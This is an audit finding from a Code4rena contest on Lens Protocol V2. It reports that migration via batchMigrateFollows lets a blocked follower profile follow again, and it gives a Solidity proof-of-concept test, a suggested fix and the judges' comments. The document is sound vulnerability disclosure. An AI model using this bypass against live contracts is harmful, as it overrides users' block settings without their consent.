Platform: Code4rena
Start Date: 17/07/2023
Pot Size: $85,500 USDC
Total HM: 11
Participants: 26
Period: 14 days
Judge: Picodes
Total Solo HM: 1
Id: 263
League: ETH
Rank: 5/26
Findings: 1
Award: $3,458.78
🌟 Selected for report: 1
🚀 Solo Findings: 0
3458.7772 USDC - $3,458.78
https://github.com/code-423n4/2023-07-lens/blob/cdef6ebc6266c44c7068bc1c4c04e12bf0d67ead/contracts/misc/LensV2Migration.sol#L37-L43 https://github.com/code-423n4/2023-07-lens/blob/cdef6ebc6266c44c7068bc1c4c04e12bf0d67ead/contracts/libraries/MigrationLib.sol#L114-L139 https://github.com/code-423n4/2023-07-lens/blob/cdef6ebc6266c44c7068bc1c4c04e12bf0d67ead/contracts/FollowNFT.sol#L480-L520
Blocked followers can follow by batchMigrateFollows
.
You can migrate V1 followers by calling the LensV2Migration.batchMigrateFollows
function, which can be called by anyone.
function batchMigrateFollows( uint256[] calldata followerProfileIds, uint256[] calldata idsOfProfileFollowed, uint256[] calldata followTokenIds ) external { MigrationLib.batchMigrateFollows(followerProfileIds, idsOfProfileFollowed, followTokenIds); }
function _migrateFollow( uint256 followerProfileId, uint256 idOfProfileFollowed, uint256 followTokenId ) private { uint48 mintTimestamp = FollowNFT(StorageLib.getProfile(idOfProfileFollowed).followNFT).tryMigrate({ followerProfileId: followerProfileId, followerProfileOwner: StorageLib.getTokenData(followerProfileId).owner, idOfProfileFollowed: idOfProfileFollowed, followTokenId: followTokenId }); // `mintTimestamp` will be 0 if: // - Follow NFT was already migrated // - Follow NFT does not exist or was burnt // - Follower profile Owner is different from Follow NFT Owner if (mintTimestamp != 0) { emit Events.Followed({ followerProfileId: followerProfileId, idOfProfileFollowed: idOfProfileFollowed, followTokenIdAssigned: followTokenId, followModuleData: '', processFollowModuleReturnData: '', timestamp: mintTimestamp // The only case where this won't match block.timestamp is during the migration }); } }
The FollowNFT.tryMigrate
is where the actual migration logic proceed. FollowNFT.tryMigrate
does not check whether the followerProfileId
has been blocked by the idOfProfileFollowed
.
function tryMigrate( uint256 followerProfileId, address followerProfileOwner, uint256 idOfProfileFollowed, uint256 followTokenId ) external onlyHub returns (uint48) { // Migrated FollowNFTs should have `originalFollowTimestamp` set if (_followDataByFollowTokenId[followTokenId].originalFollowTimestamp != 0) { return 0; // Already migrated } if (_followedProfileId != idOfProfileFollowed) { revert Errors.InvalidParameter(); } if (!_exists(followTokenId)) { return 0; // Doesn't exist } address followTokenOwner = ownerOf(followTokenId); // ProfileNFT and FollowNFT should be in the same account if (followerProfileOwner != followTokenOwner) { return 0; // Not holding both Profile & Follow NFTs together } unchecked { ++_followerCount; } _followTokenIdByFollowerProfileId[followerProfileId] = followTokenId; uint48 mintTimestamp = uint48(StorageLib.getTokenData(followTokenId).mintTimestamp); _followDataByFollowTokenId[followTokenId].followerProfileId = uint160(followerProfileId); _followDataByFollowTokenId[followTokenId].originalFollowTimestamp = mintTimestamp; _followDataByFollowTokenId[followTokenId].followTimestamp = mintTimestamp; super._burn(followTokenId); return mintTimestamp; }
Let's think the case that the idOfProfileFollowed
profile blocked the followerProfileId
when the follower has not yet migrated. In this case, if the owner of the followerProfileId
or anyone else calls LensV2Migration.batchMigrateFollows
, then the blocked followerProfileId
can follow the idOfProfileFollowed
.
The following codes are the PoC codes. Add and modify https://github.com/code-423n4/2023-07-lens/blob/main/test/migrations/Migrations.t.sol to run PoC.
First, modify the test because it is broken due to a change of the return value of getProfile. Add the following interface at Migrations.t.sol
test file.
interface LensHubV1 { struct ProfileV1 { uint256 pubCount; // offset 0 address followModule; // offset 1 address followNFT; // offset 2 string __DEPRECATED__handle; // offset 3 string imageURI; // offset 4 string __DEPRECATED__followNFTURI; } function getProfile(uint256 profileId) external view returns (ProfileV1 memory); }
Also modify the following code to recover broken tests. https://github.com/code-423n4/2023-07-lens/blob/cdef6ebc6266c44c7068bc1c4c04e12bf0d67ead/test/migrations/Migrations.t.sol#L107
address followNFTAddress = LensHubV1(address(hub)).getProfile(idOfProfileFollowed).followNFT;
Add this test function at MigrationsTest
contract and run. Even after being blocked, it is possible to follow through batchMigrateFollows
.
function testMigrateBlockedFollowerPoC() public onlyFork { uint256 idOfProfileFollowed = 8; uint256[] memory idsOfProfileFollowed = new uint256[](10); uint256[] memory followTokenIds = new uint256[](10); bool[] memory blockStatuses = new bool[](10); for (uint256 i = 0; i < 10; i++) { uint256 followTokenId = i + 1; idsOfProfileFollowed[i] = idOfProfileFollowed; followTokenIds[i] = followTokenId; blockStatuses[i] = true; } // block followers address targetProfileOwner = hub.ownerOf(idOfProfileFollowed); vm.prank(targetProfileOwner); hub.setBlockStatus( idOfProfileFollowed, followerProfileIds, blockStatuses ); // check block status assertEq(hub.isBlocked(followerProfileIds[0], idOfProfileFollowed), true); // migrate hub.batchMigrateFollows(followerProfileIds, idsOfProfileFollowed, followTokenIds); // check follow work address followNFTAddress = LensHubV1(address(hub)).getProfile(idOfProfileFollowed).followNFT; assertEq(FollowNFT(followNFTAddress).isFollowing(followerProfileIds[0]), true); // blocked, but followed! }
At FollowNFT.tryMigrate
function, If the follower is blocked, make it unfollowed.
Invalid Validation
#0 - vicnaum
2023-08-08T17:16:41Z
This looks like a subset of #112
#1 - c4-sponsor
2023-08-08T17:26:51Z
vicnaum marked the issue as sponsor confirmed
#2 - c4-judge
2023-08-28T16:11:22Z
Picodes marked the issue as satisfactory
#3 - Picodes
2023-08-28T16:12:10Z
Although the impact is similar it doesn't look like a duplicate to me as this is specifically about a blocked user being able to migrate himself, whereas #112 is about an attacker migrating someone without its consent
#4 - c4-judge
2023-09-01T14:31:49Z
Picodes marked the issue as selected for report
#5 - c4-judge
2023-09-03T17:13:41Z
Picodes marked the issue as primary issue